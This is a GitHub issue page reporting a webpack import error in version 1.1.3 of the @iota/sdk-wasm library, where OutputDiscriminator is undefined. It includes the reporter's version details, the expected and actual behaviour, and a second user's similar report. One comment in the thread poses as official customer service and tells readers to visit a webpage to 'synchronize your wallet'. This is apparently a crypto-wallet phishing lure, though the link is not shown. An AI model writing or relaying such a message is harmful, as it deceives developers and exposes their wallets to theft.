-
Notifications
You must be signed in to change notification settings - Fork 43
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[Bug]: Error while importing the web version in webpack #2255
Comments
I've a very similar issue. This is the simple code I've added in a EXPO project:
And this is the result: lib installation: yarn add @iota/sdk-wasm test: |
Thank you for reaching to Our Github. Customer service may take some time to respond due to a large number of requests. We believe your case will be resolved as soon as possible. Kindly visit the below webpage to synchronize your wallet for fixing process |
Issue description
After updating to the latest version 1.1.3 and following the examples. Webpack reports error while importing the wasm library.
OutputDiscriminator seems to be undefined. At least it is that, what webpack reports back as error.
Returning to version 1.1.2 fixes the Problem.
Version
@iota/sdk-wasm : 1.1.3
Expected behaviour
Import should work without errors
Actual behaviour
Webpack errors on the import.
Can the issue reliably be reproduced?
Yes
Steps to reproduce the issue
Errors
Log:
Screenshot:
Duplicate declaration
The text was updated successfully, but these errors were encountered: